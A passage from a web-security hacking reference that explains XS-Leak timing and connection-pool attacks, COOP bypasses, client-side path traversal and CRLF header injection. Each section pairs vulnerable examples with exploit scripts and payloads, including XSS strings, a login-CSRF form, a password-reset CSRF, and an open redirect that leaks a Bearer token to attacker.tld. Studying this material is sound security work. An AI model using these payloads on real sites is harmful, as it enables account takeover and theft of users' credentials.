  w.location = url;
<strong>  await sleep(500); // Loading time
</strong>  w.location = url + "#1";
  w.location = url + "#2";
  w.location = url + "#3";
  w.location = "about:blank";
  while (true) {
    try {
      w.origin;
      break;
    } catch {
      await sleep(100);
    }
  }
  // If it's hanging, it wouldn't have time to perform the hashchanges
<strong>  return w.history.length - length === 3;
</strong>}
</code></pre>

It allows you to detect the difference between `while (true) {}` and `while (false) {}` on the target. If there is any heavy operation, and you can confidently guess when that will take place on the target, set the loading time to this in the exploit.

Some situations where this can be useful is in detecting [Regular Expressions (RegEx)](/languages/regular-expressions-regex#redos-catastrophic-backtracking), because JavaScript's [`RegExp`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) can be exponential too.\
Another use case is in [`querySelector`](https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector) or the similar jQuery implementation, when you have an injection into one of these functions. This can create expensive lookups that short-circuit if a match is found, creating a timing different. This difference is then detectable using the above technique.

More JavaScript execution timing attacks can be found here:

{% embed url="<https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/>" %}

## Connection Pool

Chrome limit how many connection can be active at the same time. For HTTP requests, this limit is 6 **per origin** (origin of the request URL) and **256 globally**. Because this limit is *shared* across sites, an attacker can affect it for the target site and the other way around.

{% hint style="warning" %}
**Warning**: These exploits (especially the leaking ones) can be pretty unreliable, especially across setups, due to all possible things that can interfere with it. Keep this in mind while testing
{% endhint %}

### Primitives

To keep the connection pool (almost) full, you should host a server that keeps the connection open for a while. Below is a simple Go server that has some endpoints for sleeping:

{% embed url="<https://github.com/salvatore-abello/web-challenges/blob/main/X/salvatoreabello/exploit/sleep-server.go>" %}

```bash
go mod init sleep
go mod tidy
go run sleep.go
```

Here are some useful functions that all the exploit below will use:

{% code title="Template" %}

```javascript
const MAX_SOCKETS = 256; // May sometimes be 512
const SLEEP_SERVER = "sleep.YOUR_DOMAIN";

function sleep(ms) {
  return new Promise((resolve) => setTimeout(resolve, ms));
}
// Fetch 2-minute hanging endpoint, returning AbortController
function fetch_long(s) {
  controller = new AbortController();
  const signal = controller.signal;

  fetch(`http://${s}.${SLEEP_SERVER}/120`, {
    mode: "no-cors",
    signal: signal,
  });

  return controller;
}
// Fill all but one socket
function exhaust_sockets() {
  return Promise.all(Array.from({ length: MAX_SOCKETS - 1 }, (_, i) => fetch_long(i)));
}
// Abort a single slot to let other tab make request, then take it again
async function release_once() {
  blocker.abort();
  await sleep(0);  // Small time for target to make 1 single request
  blocker = fetch_long(1337);
}
// Quick fetch, and return performance entry
async function fetch_short(s) {
  performance.clearResourceTimings();
  const url = `http://${s}.${SLEEP_SERVER}/0`;
  await fetch(url, {
    mode: "no-cors",
  });
  return await waitForEntry(url);
}
async function waitForEntry(name) {
  while (true) {
    const entries = performance.getEntriesByName(name);
    if (entries.length > 0) {
      return entries.pop();
    }
    await sleep(0);
  }
}
```

{% endcode %}

### Counting requests

For XS-Leaks, the most useful effect is that if the pool is almost full (-1), the target and the attacker share one single slot for making connections. If the attacker's page keeps sending requests one after the other, measuring the time in between, they can detect whenever the target wants to get in between by making their own requests. With this you can **count requests** of the target.

{% embed url="<https://blog.babelo.xyz/posts/css-exfiltration-under-default-src-self/>" %}
Writeup explaining connection pool abuse to count CSS exfiltration requests
{% endembed %}

Below is an example that **measures** the time a `fetch()` takes on a remote website. This can be done by having the target request "stalled" (waiting for a slot to open up). Then open up one slot by calling `blocker.abort()` to let the target take its spot and immediately start fetching yourself.\
This resolves the target's fetch first and then starts on our request. If we compare the time that we called the fetch function ourselves, to when its DNS lookup started, we get a precise measurement of how long it was stalled. Meaning how long the target's request took.

{% code title="Target" %}

```html
<script>
  fetch("https://example.com", {
    mode: "no-cors"
  })
</script>
```

{% endcode %}

{% code title="Exploit" %}

```javascript
w = window.open("https://target.tld", "", "popup");  // Warmup
await sleep(2000);
await exhaust_sockets();
blocker = fetch_long(1337);
await sleep(2000);
w.location = "https://target.tld/fetch";
await sleep(5000);

await release_once();  // Let /fetch.php load
await sleep(1000);

blocker.abort();
await sleep(0);
// Measure how long my fetch was stalled
const start = performance.now();
const entry = await fetch_short("zzzzz");
console.log(entry.domainLookupStart - start);  // 93.19999999925494
```

{% endcode %}

The result of 93ms is very close to the real total time the fetch took:

<figure><img src="/files/w67n3Mv4EcVx7N4zDDH2" alt="" width="539"><figcaption></figcaption></figure>

55 + 32 + 5 = 92ms!

### Leaking subdomains

The order in which stalled requests are taken from the queue is not a First-In First-Out (FIFO) queue as you may expect it to be. Instead, they are ordered by some arbitrary properties of the request. Firstly, higher *priority* requests are executed first ([table](https://web.dev/articles/fetch-priority?hl=en#resource-priority)). If these tie, the `GroupId` ([source code](https://source.chromium.org/chromium/chromium/src/+/main:net/socket/client_socket_pool.h;l=148-155;drc=58fb75d86a0ad2642beec2d6c16b1e6c008e33cd)) is compared and the smallest goes first.

It consists of the following properties which are all evaluated in order, if any of them tie, it checks the next property.

1. Port (eg. `80` or `8000`)
2. Scheme (`"http"` or `"https"`, [lexicographically](https://stackoverflow.com/a/13829456/10508498))
3. Host (eg. `sub.example.com`, lexicographically)

If the priority, port and scheme are the same, the hosts are compared lexicographically. Remember, this is a comparison between an attacker's request and a target's request, where the attacker can detect if their request was stalled or not.

If the target requested some random secret subdomain, we can compare it with our subdomain to learn its value character by character. That is the idea of this writeup below:

{% embed url="<https://blog.babelo.xyz/posts/cross-site-subdomain-leak/>" %}
Leak subdomain using connection pool ordering
{% endembed %}

In terms of the exploit, see [their version](https://github.com/salvatore-abello/web-challenges/blob/main/X/salvatoreabello/exploit/index.html) as well as [my version](https://gist.github.com/JorianWoltjer/dc7696dcda6d041cc1f3af02f59b8236). It will likely take some effort to apply to your use case, but the basic idea is that you need some simple way to trigger the target request repeatedly so you can compare the subdomains.

### Delaying timing

One of the simpler uses of the Connection Pool not necessarily related to XS-Leaks, is delaying network requests of other sites. You can completely halt the browser by filling up the connection pool, then let requests go through one by one.

An example is XSS that requires something to go wrong, like a **fallback** being reached after a timeout of 5 seconds:

{% code title="Vulnerable example" %}

```javascript
setTimeout(() => {
  location = new URLSearchParams(location.search).get("fallback");
}, 5000)

location = "/safe";
```

{% endcode %}

You can exploit this by exhausting all by one socket initially, so you can open the target in a new window. Right after its connection is started, we block the connection pool fully, so it cannot load any subresources or perform its `/safe` navigation. 6 seconds later, we open it up again and the fallback triggers.

{% code title="Exploit" %}

```javascript
await exhaust_sockets();
w = window.open("https://example.com/?" + new URLSearchParams({
  fallback: "javascript:alert(origin)"
}));
const blocker = await fetch_long(1337);

await sleep(6000);  // Wait for setTimeout

blocker.abort("");  // This opens up the connection pool again
```

{% endcode %}

Another use case is **Client-Side Race Conditions**, where there is a specific timing you want your payload to hit which is hard to guess otherwise. An example is a script that fetches data and then saves it again to the current account. An exploit in this case would be:

1. Fetch data (as victim)
2. *Login CSRF as the attacker*
3. Save data (as attacker)

Then the attacker would be able to read the victim's data. The connection pool will help us get in between. In the following writeup this technique was part of my solution:

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/openecsc-2025-kittychat-secure#delaying-using-connection-pool>" %}

{% code title="Exploit" %}

```javascript
w = window.open("https://example.com");
w2 = window.open("/csrf");
await exhaust_sockets();
blocker = fetch_long(1337);

await sleep(1000);
await release_once();  // 1. Fetch data (as victim)
await sleep(1000);

w2.document.forms[0].submit();  // 2. Login CSRF as the attacker
await sleep(2000);

blocker.abort();  // 3. Save data (as attacker)
```

{% endcode %}

{% code title="/csrf" %}

```html
<form action="https://example.com/login" method="POST">
  <input type="hidden" name="username" value="hacker">
  <input type="hidden" name="password" value="Password123">
</form>
```

{% endcode %}

{% hint style="info" %}
**Note**: during the CTF challenge, I had a weird issue where `release_once()` would let through more than 1 request. It had to do with many other images being in the queue, which for some reason let more other requests also go at the same time.\
This was solved by pre-loading the images, which may be possible in your situation.
{% endhint %}

## Protections

### Cross-Origin-Opener-Policy (COOP)

The [`Cross-Origin-Opener-Policy:`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Cross-Origin-Opener-Policy) response header is a more modern addition to browser, and is very powerful in stopping specific XS-Leaks and other client-side attacks requiring a window reference. This header with a value of `same-origin` will only allow same-origin windows that also have this header value to open and have a reference to the site.

If you try to open such a protected page you'll see it as if `closed: true`, while the new tab is actually still open. You are just not allowed to see it.

{% code title="<https://r.jtw.sh> (cross-origin)" %}

```html
<script>
  w = window.open("https://r.jtw.sh./protected.html?h[Cross-Origin-Opener-Policy]=same-origin");
  // Window {window: null, self: null, location: Location, closed: true, frames: null, …}
</script>
```

{% endcode %}

{% code title="<https://r.jtw.sh> (same-origin)" %}

```html
Cross-Origin-Opener-Policy: same-origin

<script>
  w = window.open("/protected.html?h[Cross-Origin-Opener-Policy]=same-origin");
  // Window {window: Window, self: Window, document: document, name: '', location: Location, …}
</script>
```

{% endcode %}

Without a window reference, attacks like *Frame Counting* are impossible. Navigating the tab using `location=` is also impossible, and so is [`window.open()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) with re-using the same `target` parameter (it will never match the COOP window, always create a new tab).\
[postMessage Exploitation](/web/client-side/cross-site-scripting-xss/postmessage-exploitation) will also become impossible because there is no reference to send the messages to.

#### Bypasses

It is important to know that the COOP header only prevents you from becoming an `opener`. If there are no ***iframe*** protections, you can still put the page in an `<iframe>`. Then access it via `iframe.contentWindow`.

{% code title="<https://r.jtw.sh>" overflow="wrap" %}

```html
<iframe id="iframe" src="https://r.jtw.sh./protected.html?h[Cross-Origin-Opener-Policy]=same-origin"></iframe>
<script>
  iframe.onload = () => {
    console.log(iframe.contentWindow);
    // Window {window: Window, self: Window, location: Location, closed: false, …}
  }
</script>
```

{% endcode %}

Some XS-Leaks are simply not prevented by this header. Like [#connection-pool](#connection-pool "mention") which uses a shared browser property and doesn't require references. To perform repeated page loads like during XS-Search, however, you will need to create a new window for every location you wish to load, since the tab cannot be re-used. This requires the [Pop-up permission](https://support.google.com/chrome/answer/95472) to do without excessive user interaction.

Another easy "bypass" is simply finding another page which hosts the same vulnerable code you wish to exploit, but **doesn't have this header**. Because it can cause some strange issues in certain browser features there are cases where it is only applied selectively.

Lastly, a real interesting bypass, is the fact that this only accounts for `opener` and not all window references. You may not be able to open the target, but if the **target opens you** in an iframe, `parent` or `top` still works as a reference to the target even with `Cross-Origin-Opener-Policy: same-origin`.

{% code title="<https://example.com>" %}

```html
Cross-Origin-Opener-Policy: same-origin

<iframe src="https://attacker.tld"></iframe>
```

{% endcode %}

{% code title="<https://attacker.tld>" %}

```javascript
// parent = Window {0: Window, window: Window, self: Window, location: Location, closed: false, frames: Window, …}
parent.postMessage("exploit", "*");
```

{% endcode %}

You can also hijack an existing iframe's `src` by matching its `name=` attribute in the `target=` of an `<a>` tag. Clicking the link will now *navigate the iframe* instead of the top-level page.

{% code title="Hijack an iframe with href" overflow="wrap" %}

```html
<a href="https://attacker.tld" target="safe">click me</a>
<iframe src="https://safe.tld" name="safe"></iframe>
```

{% endcode %}

#### same-origin-allow-popups

When the value of COOP is `same-origin-allow-popups` rather than `same-origin`, a small but important extra rule kicks in.

> A document with this directive can open a document in the same BCG using `Window.open()` if it has a COOP value of `unsafe-none`. In this case it does not matter if the opened document is cross-site or same-site.

What this means is that if the target opens you in a popup/new tab, and the connection isn't broken by a `noopener` rule, you are allowed to interact with the window reference via `opener`.

In HTML this is achievable if you can set the `rel="opener"` attribute, or can set the `target` to *a string* that is not `_blank`. Either of these will keep the opener reference (because modern browsers default to `noopener` in other situations). You can then `opener.postMessage()` or do whatever in your attacker page.

{% code title="❌ NOT working" overflow="wrap" %}

```html
<a href="https://attacker.tld" target="_blank">link</a>
<a href="https://attacker.tld">link</a>
```

{% endcode %}

{% code title="✅ Working" overflow="wrap" %}

```html
<a href="https://attacker.tld" target="_blank" rel="opener">link</a>
<a href="https://attacker.tld" target="anything">link</a>
```

{% endcode %}


# Client-Side Path Traversal (CSPT)

Using ../ sequences and URL parts to rewrite requests made by the browser

The vulnerability class named "Client-Side Path Traversal" is as its name suggests, about path traversals in the browser, so URLs. It occurs when an application fetches some path with your input in it, allowing you to use `../` and other special characters to rewrite the path to somewhere else.

<pre class="language-javascript" data-title="Vulnerable example"><code class="lang-javascript">const id = new URLSearchParams(location.search).get('id');
<strong>const info = await fetch(`/articles/${id}`).then(r => r.json());
</strong>document.getElementById('description').innerHTML = info.description;
</code></pre>

The above example takes the `?id=` query parameter, pastes it into the `/articles/${id}`path **without escaping**, and then puts the resulting `description` into an unsafe `innerHTML` sink.

If the attacker normally has no control over the value of the description, they can gain control by uploading a fake JSON file via any such functionality that responds with the required content, such as:

{% code title="xss.json" %}

```json
{
  "description": "<img src onerror=alert(origin)>"
}
```

{% endcode %}

If they then have a URL that this upload is fetchable on, they can rewrite the metadata path like this:

{% code title="Payload" %}

```url
id=../uploads/xss.json
```

{% endcode %}

The JavaScript pastes this ID into `/articles/../uploads/xss.json`, which resolves to `/uploads/xss.json` returning the uploaded content. It then uses this response unsafely resulting in XSS.

***

There's a lot more depth to this vulnerability, like handling suffixes, sanitization bypasses and alternative impact like CSRF, as well as various ways of gaining control over a response. This will all be explained below.\
One related concept is overwriting other **query parameters** if the fetch unsafely puts your input into these without escaping.

{% code title="Vulnerable example" %}

```javascript
const results = await fetch(`/api/search?q=${q}`).then(r => r.json());
```

{% endcode %}

It's possible to use `&` to add more parameters and `#` to truncate them, for more information on this, read the almost equivalent server-side version of in PortSwigger's Academy:

{% embed url="<https://portswigger.net/web-security/api-testing/server-side-parameter-pollution>" %}
Explanation of parameter pollution
{% endembed %}

## Path Traversal

The first example explained above is the simplest, no sanitization and control over the end (suffix) of the path. There are other complex scenarios where more tricks are required.

### Remove suffix

When your input is partially inside of a URL with another part of the path appended, the injection may feel quite limited because the destination of your path traversal always has this part appended, limiting the number of hittable endpoints that accept such a format. In Path Traversal on the *filesystem*, it's hardly ever possible to truncate the end of the path.

With URLs, however, this is easy with the `?` to start query parameters or `#` to start a hash fragment, after which any data will not be part of the *path*.

{% code title="Vulnerable example" %}

```javascript
const metadata = await fetch(`/articles/${id}/metadata`).then(r => r.json());
```

{% endcode %}

The above is exploitable via the following injection:

{% code title="Payload" %}

```url
id=../uploads/xss.json%3f
```

{% endcode %}

It decodes to `../uploads/xss.json?`, which when merged with the fetch path, results in `/articles/../uploads/xss.json?/metadata`. This is resolved to `/uploads/xss.json?/metadata` which can match the uploaded file again.\
The same would work with `#` encoded as `%23`, resulting in `/uploads/xss.json#/metadata` where the hash fragment (`#/metadata`) isn't even sent to the server.

As a last trick, in some PHP servers it doesn't matter what is after the `file.php` in the URL, it can be treated as a directory with any complex path appended, such as:

```url
/profile.php/metadata
```

If you really cannot find any way to control the suffix or a useful gadget where it doesn't matter, try looking for more CSPT vulnerabilities, because when you find one it's often a more global pattern. These may have less sanitization in place.

### Single '..'

In some situations like filenames or directory names, a lot of characters except `/` are often allowed. This is also common when dealing with URL-encoding functions like [`encodeURIComponent`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent), which disallow many characters except `.` dots.

This makes it hard to perform path traversal into any arbitrary directory, but you can **still use exactly** **`..`** as a payload in one part of the URL to traverse it back by one.\
This often requires more inputs into the URL to rewrite it to a useful path after the traversal, because it's still quite limited.

{% code title="Vulnerable example" %}

```javascript
const group = encodeURIComponent(group);
const user = encodeURIComponent(user);
const id = encodeURIComponent(id);
await fetch(`/users/${group}/${user}/posts/${id}`).then(r => r.json());
```

{% endcode %}

The `group` can be set to `..` to traverse away the `users/` directory, then `user` set to `uploads` to get into a new one. Finally, set `id` to the uploaded file `xss.json`.

{% code title="Payload" %}

```url
group=..&user=uploads&id=xss.json
```

{% endcode %}

This will be resolved as:

1. `/users/${group}/${user}/likes/${id}`
2. `/users/../uploads/likes/xss.json`
3. `/uploads/likes/xss.json`

If you're able to create a directory named `likes` in which you can upload, this path would now be in your control.

[This writeup](https://jorianwoltjer.com/blog/p/ctf/intigriti-xss-challenge/0625#arbitrary-file-write) had a similar idea using a file write vulnerability.

### Empty

Similar to the last idea, you can use short sequences like `/` or `.` in paths as well to send them to a wrong handler. These don't completely rewrite the URL, only shorten it to potentially hit a less specific handler.

{% code title="Vulnerable example" %}

```javascript
const id = encodeURIComponent(id);
await fetch(`/users/${id}`).then(r => r.json());
```

{% endcode %}

While this normally hits the `/users/:id` handler, making the `id` empty, `/` or `.` can cause it to fetch `/users/` instead. This can possibly hit a more general handler that returns data for *all* users instead of a specific one:

{% code title="Payloads" %}

```
id=
id=/
id=.
```

{% endcode %}

The resulting fetches are `/users/`, `/users//` and `/users/.`.

### Filter bypasses

You'll encounter intentional or unintentional filters by various different functions, either custom or builtin. Below is a table of 3 common URL-encoding functions that do different things:

<table><thead><tr><th width="209.3333740234375">Function</th><th>Disallowed</th></tr></thead><tbody><tr><td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/escape"><code>escape</code></a></td><td><code>!"#$%&#x26; '(), :;&#x3C;=>? [\]^`{|}~</code> (<a href="https://shazzer.co.uk/vectors/6867a29622ae8ab707b832b4">Shazzer</a>)</td></tr><tr><td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI"><code>encodeURI</code></a></td><td><code>" % &#x3C; > [\]^`{|}</code> (<a href="https://shazzer.co.uk/vectors/6867a25222ae8ab707b832b2">Shazzer</a>)</td></tr><tr><td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent"><code>encodeURIComponent</code></a></td><td><code>! #$%&#x26; ,/:;&#x3C;=>?@[\]^`{|}</code> (<a href="https://shazzer.co.uk/vectors/6867a20d22ae8ab707b832b0">Shazzer</a>)</td></tr></tbody></table>

Note how *only `encodeURIComponent`* escapes `/` slashes, and *none of them* encode `.` dots. The `encodeURI` is the least restrictive, allowing query parameter characters still.\
If the wrong function is used or it is trusted in a spot where critical characters are still allowed, you will still be able to perform path traversal.

Even through URL-encoding, some servers in combination with [Reverse Proxies](/web/server-side/reverse-proxies) can decode them for you, still resolving the path traversals. You should test how exactly different strings are parsed before concluding it is impossible.\
Checks can sometimes even be bypassed by intentionally encoding specific characters that allow it, test both casings like `%2f` and `%2F` to make sure it's not case sensitive.

#### Backslashes and multiple

In URLs parsed by the browser, `\` (backslash) is equivalent to `/` (forward slash), even in path traversals. In fact, when the request is sent out to the server it even replaces them so the server receives a regular slash.

This can be combined with *multiple* slashes by the server if it allows them. It can be very useful if a custom check blocks `/` characters, for example:

```javascript
fetch(String.raw`/a\path/to\somewhere\..\and/back//multiple\//\/\slashes`)
```

This fetches `/a/path/to/and/back//multiple//////slashes`, which a server may interpret wildly different than the fetcher expected.

#### Tabs and newlines are stripped

[The URL standard](https://url.spec.whatwg.org/#url-parsing) specifies that `\t`, `\n` and `\r` will all be removed from the input before starting to parse. This is a useful fact that can help in bypassing filters that look for longer sequences of text, such as `..`. It can be replaced with `.\n.` or `.\t.` which will just be read as `..` and still allow path traversal.

```javascript
fetch("/dir/.\n./blo\ncked\t-path")
```

This crazy path doesn't contain the string ".." or "blocked", but still sends a request to `/blocked-path`.

### Path to Path

In all the previous (and next) examples, query parameters are shown as where the input comes from. This is an easy variant where you have complete control, but it won't always be so nice. If your input came from a path parameter into a fetch with a path parameter, using things like `../` will have the same meaning in both contexts and may be resolved before you want them to.

An easy solution may be to URL-encode the payload, the browser/server won't recognize it as literal path traversal anymore, and pass it through. The JavaScript code then needs to explicitly URL-decode your input in order for the `%2e%2e%2f` to become active again.

The browser will always parse the URL the same way, but if you're dealing with a server or reverse proxy that decodes and resolves your path traversals, it may be possible to obfuscate it using any of the above mentioned tricks (**backslashes** and **tabs & newlines)**. For example `%2e%0a%09%2E\other`:

1. `/blog/${folder}/post`
2. `/blog/%2e%0a%09%2E\other/post`
3. `/blog/.\n\t.\other/post`
4. `/blog/../other/post`
5. `/other/post`

### Open redirect with //

In cases where your input is the first part of a URL, there's a special parsing rule in the browser you can abuse to point it to a completely different (attacker-controlled) host.

{% code title="Vulnerable example" %}

```javascript
const info = await fetch(`/${lang}/info`).then(r => r.json());
```

{% endcode %}

A URL starting with `//` (without a protocol) is seen as an absolute URL, where the protocol is implied from the current one. Like `//example.com` pointing to `https://example.com`. When there is only a first `/` followed by your input, you can start your input with a 2nd slash and then a hostname to point it to.

{% code title="Payload" %}

```url
lang=/attacker.com
```

{% endcode %}

This results in a fetch to `//attacker.com/info` to which you can respond with any data (after enabling [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS#the_http_response_headers) on your server), or **leak** anything that's sent with the response like POST data, or Bearer tokens in the headers.

## Sources

If you can partially rewrite the path, the next step is to control the content (unless you're looking for [#csrf](#csrf "mention")).

### File Uploads

One of the most common and simple ones are file uploads, where you can get a response returned with content you desire. This is common functionality often protected by not allowing `.html` files, setting the `Content-Disposition: attachment` header or a CSP, but none of these protect against fetching them for their content.

In most cases this is quite straight-forward, simply upload the content you need as any allowed extension and point the fetch to it.

#### Polyglots

When the application performs validation on the uploaded file, it may not like the JSON format, and expect only PDFs or images. In this case you'll need to create one file that can be seen as two different formats: a polyglot. In JSON, the hard part is that it needs to start with `{"` to open a key, inside the quotes can be almost anything, and then it needs to close again with `"}`.

This opens the door for formats that have their magic bytes not at the start, but somewhere later in the file. The following article shows two examples of how PDF and WebP (images) can be formatted in a way that they are valid JSON and can serve as a CSPT source.

{% embed url="<https://blog.doyensec.com/2025/01/09/cspt-file-upload.html>" %}
Turning PDF and WebP into JSON polyglots for CSPT
{% endembed %}

The case where it expects HTML to be rendered in the response is quite easy to bypass, because HTML has no strict format, see [File Formats](/forensics/file-formats#embed-raw-data-polyglots) for more info.

### Content Type confusion

When the server expects HTML as a response, there is no validation that happens with the format, because HTML has no errors. Any resource *containing* the string `<img src onerror=alert(origin)>` may now become a target to reach with your CSPT.\
One example is any JSON endpoint that returns your input, by default characters such as `<` are not encoded, and so can be used as a HTML response if the server allows it.

```javascript
const html = await fetch(`/post/${id}/content`).then(r => r.text());
document.getElementById('post_content').innerHTML = html;
```

We could rewrite it with `../users/1337?` to fetch our name:

{% code title="/users/1337" %}

```json
{"name": "<img src onerror=alert(origin)>"}
```

{% endcode %}

This results in the above response being rendered raw as HTML, a successful XSS:

<figure><img src="/files/DE7lHFgnliO7SklxuYfB" alt="" width="279"><figcaption><p>HTML in DevTools showing interpreted <code>&#x3C;img></code> tag</p></figcaption></figure>

### Open Redirect

Combined with CSPT, an Open Redirect can become a very powerful gadget. Because they are inherently on the main site and server-redirect to an attacker's site, your CSPT will be able to reach its path and the attacker can return any arbitrary content they want (even specific headers).

For example, assume `/redirect?url=https://attacker.com` is a gadget on the target. The following code can be exploited easily now:

{% code title="Vulnerable example" %}

```javascript
const info = await fetch(`/articles/${id}`).then(r => r.json());
document.getElementById('description').innerHTML = info.description;
```

{% endcode %}

A payload like `../redirect?url=https://attacker.com` will send the fetch through to the attacker, who can now respond with anything they want.

Even closed redirects can be useful, if they are only able to redirect to other trusted domains. These domains may have more ways of [#file-uploads](#file-uploads "mention") or [#content-type-confusion](#content-type-confusion "mention") that can finalize your exploit.

## Sinks

The goal of returning arbitrary content in CSPT getting user input into places it's not supposed to be. You're able to control the exact response of the server and set properties that contain dangerous values, so carefully examine what logic happens with the response.

### HTML

As seen in many of the examples above, if HTML is expected, you can simply return an XSS payload. Some frameworks like [HTMX](https://htmx.org/docs/) or hotswapping logic work this way where raw HTML is expected to be returned. If you are able to inject into any of these kinds of paths, it's a great target.

You are often able to provide different content types (like JSON) and have it parsed successfully as HTML.

Also note how the JavaScript handles your HTML after is receives it. If it parses and extracts some part (eg. with a `querySelector`), match that with your injection.

### Recursion

When the response is JSON, you've gained control over some properties. So why not CSPT them as well?

This is a very common situation, where the server fetches some IDs from the server, which it trusts, and then does more sensitive stuff with. It can lead to even more user input, eventually [#html](#html "mention") or the request itself may be an interesting [#csrf](#csrf "mention") target (eg. going from GET to a POST).

### Authorization Header

Fairly often, the `fetch()` call you have a Path Traversal in sets some custom options like `headers:`. If you are able to [#open-redirect](#open-redirect "mention") to your attacker's domain, all attributes of the request will be sent to you which may include sensitive information. You may see an `X-CSRF:` header or `csrf_token=` body parameter which you can then use to CSRF the victim, or see an API key in some query parameter.

One edge case is if the sensitive information is inside the `Authorization:` header. This is common for `Bearer` access tokens, and this header name has a special rule depending on whether the URL passed into `fetch()` is **same-origin** or not ([source](https://www.insert-script.com/examples/redirectAuthHeader/send.html)):

* If it is same-origin, the browser expects you intend to keep the header private, and if a cross-origin redirect happens will *throw away* that header.
* If it is cross-origin initially, the browser expects you intend to share the header with other origins, and will *keep* the header even across more cross-origin redirects.

The check is same-origin meaning even a difference of `www.` or `api.` in the fetched domain will count as cross-origin (even if same-site). In this case, being able to open redirect, the `Authorization:` header will be sent with the request to your attacker's domain. You can then impersonate the victim with this access token.

{% code title="<https://example.com>" %}

```javascript
fetch("https://api.example.com/open-redirect?url=https://attacker.tld/leak", {
  headers: {
    Authorization: "Bearer abc123"
  }
})
```

{% endcode %}

{% code title="Request" %}

```http
GET /leak HTTP/1.1
Host: attacker.tld
Authorization: Bearer abc123
```

{% endcode %}

## CSRF

Instead of controlling the *response* and looking for sinks, the request itself may be able to trigger some dangerous things for the signed-in user. Cookies will be sent with these requests, even `SameSite=Strict` ones, so [Cross-Site Request Forgery (CSRF)](/web/client-side/cross-site-request-forgery-csrf) has a high chance of being possible.

If you're lucky, the JavaScript logic even has similar logic where it adds CSRF tokens or Bearer authentication headers. In this case, you'll be sending a request to any endpoint authenticated as the user. That makes it crucial to know all endpoints in the application that you can hit in any way possible to get some impact out of it.

The *method* of your request is important to keep in mind because you cannot change it with your path traversal. GET requests are rarely state-changing, but can be if authenticated with a Bearer token, for example. You can also try hitting regularly POST endpoint with an equivalent GET request instead, *moving all body parameters to query parameters*.\
If you are sending a POST request, it's unlikely you have any control over the body parameters. Therefore you can try to see if the server accepts the same values given through query parameters, still with a POST body. These are controllable in the path traversal by appending `?key=value&`, and may allow you to perform sensitive actions.

{% code title="Vulnerable example" %}

```javascript
fetch(`/analytics/${lang}/ping`, {
  method: "POST",
  headers: {
    Authorization: `Bearer: ${auth_token}`,
    "Content-Type": "x-www-form-urlencoded"
  },
  body: new URLSearchParams({referrer: document.referrer})
});
```

{% endcode %}

The payload should become: `../reset_password?new=hacked#`, resulting in `/analytics/../reset_password?new=hacked#/ping` and the following request:

<pre class="language-http" data-title="Request"><code class="lang-http"><strong>POST /reset_password?new=hacked HTTP/1.1
</strong>Content-Type: x-www-form-urlencoded
Authorization: Bearer ${auth_token}

referrer=https%3A%2F%2Fexample.com%2F
</code></pre>

If the server accepts the parameters via the query string during a POST, it will find the expected `?new=` parameter to change their password.

Even forms can be victim to this quite often, requiring the user to interact with them, but still sending a malicious request when they do:

{% code title="Vulnerable example" %}

```html
<form action="/edit/<?= $id ?>" method="post">
  <button type="submit">Submit</button>
</form>
```

{% endcode %}

After injecting the same payload again, the form becomes:

{% code title="After injection" %}

```html
<form action="/edit/../reset_password?new=hacked" method="post">
  <button type="submit">Submit</button>
</form>
```

{% endcode %}

The moment the user clicks the *Submit* button, their password will be changed to "hacked".


# CRLF / Header Injection

Manipulate HTTP headers in your favor or insert completely new ones with even more control

HTTP is a plaintext protocol that works with Carriage Return (`\r`) Line Feed (`\n`) delimited headers. When user input lands in the **response headers** from an HTTP server, injecting these CRLF characters can result in some client-side attacks abusing headers.

## Response Splitting

The first thing you should think about when you are able to inject a newline into a response, is if you can inject two newlines. This signifies the end of headers and start of body for HTTP responses, so you'll suddenly be writing a body. In HTML this means you can write `<script>` tags or similar things to achieve [Cross-Site Scripting (XSS)](/web/client-side/cross-site-scripting-xss):

```http
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 36
Some-Header: [INPUT]

<body>This is the normal body</body>
```

In place of `[INPUT]`, we will now put two CRLF sequences followed by the HTML body we want to inject.

[**Payload**](https://gchq.github.io/CyberChef/#recipe=URL_Encode\(false\)\&input=eA0KDQo8c2NyaXB0PmFsZXJ0KG9yaWdpbik8L3NjcmlwdD4\&ieol=CRLF): `x%0D%0A%0D%0A<script>alert(origin)</script>`

<pre class="language-http" data-title="Exploit"><code class="lang-http">HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 36
Some-Header: x

<strong>&#x3C;script>alert(origin)&#x3C;/script>
</strong>
&#x3C;body>This is the normal body&#x3C;/body>
</code></pre>

Note that the `Content-Length:` is still limited, it cuts off the response at the new end, but our injected content comes first:

<figure><img src="/files/fRzS24J9LWal2zsfQZY0" alt=""><figcaption><p>Example in browser showing injected content and partially original content</p></figcaption></figure>

### Content Type

If the response isn't HTML but something like JSON instead, you can still **overwrite** the `Content-Type:` header with another one. The last one counts!

[**Payload**](https://gchq.github.io/CyberChef/#recipe=URL_Encode\(false\)\&input=eA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCg0KPHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ%2B\&ieol=CRLF): `x%0D%0AContent-Type:%20text/html%0D%0A%0D%0A%3Cscript%3Ealert(origin)%3C/script%3E`

<pre class="language-http" data-title="Payload"><code class="lang-http">HTTP/1.1 200 OK
Content-Type: application/json
Some-Header: x
<strong>Content-Type: text/html
</strong>
<strong>&#x3C;script>alert(origin)&#x3C;/script>
</strong>
{"some": "json"}
</code></pre>

More tricks for `[INPUT]` *inside* the existing `Content-Type` header itself can be found in [this writeup](https://gist.github.com/avlidienbrunn/8db7f692404cdd3c325aa20d09437e13). It contains a trick to escape the HTML context if your payload in the body is limited.

### Content-Security-Policy

